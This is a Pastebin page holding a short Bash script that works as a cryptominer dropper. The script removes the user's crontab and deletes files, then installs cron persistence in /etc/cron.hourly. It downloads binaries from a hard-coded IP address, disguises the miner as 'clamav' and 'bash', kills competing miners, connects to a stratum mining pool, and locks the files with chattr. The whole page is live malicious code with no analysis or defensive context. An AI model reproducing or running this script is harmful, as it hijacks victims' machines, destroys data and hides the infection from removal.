Advertisement
Guest User

Untitled

a guest
Nov 5th, 2013
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.72 KB | None | 0 0
  1. #!/bin/sh
  2. crontab -r
  3. rm -rf a* c* update*
  4. pwd > mech.dir
  5. dir=$(cat mech.dir)
  6. echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
  7. crontab cron.d
  8. crontab -l | grep update
  9. wget http://74.52.9.186/update >> /dev/null &&
  10. chmod u+x update
  11. rm -rf /etc/cron.hourly/update
  12.  
  13. cp update /etc/cron.hourly/
  14. chattr -ia bash
  15. chattr -ia *
  16. wget http://74.52.9.186/clamav
  17. chmod +x clamav
  18. mv clamav bash
  19. kill -9 `ps x|grep miner|grep -v grep|awk '{print $1}'`
  20. kill -9 `ps x|grep stratum|grep -v grep|awk '{print $1}'`
  21. PATH="." bash -o stratum+tcp://mine.cc.st:3333 -O geox.1:x -B
  22. #PATH="." bash -o stratum+tcp://158.255.208.213:3333 -O geox.1:x -B
  23. #PATH="." bash -o stratum+tcp://66.85.187.133:3333 -O geox.1:x -B
  24. chattr +ia bash
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement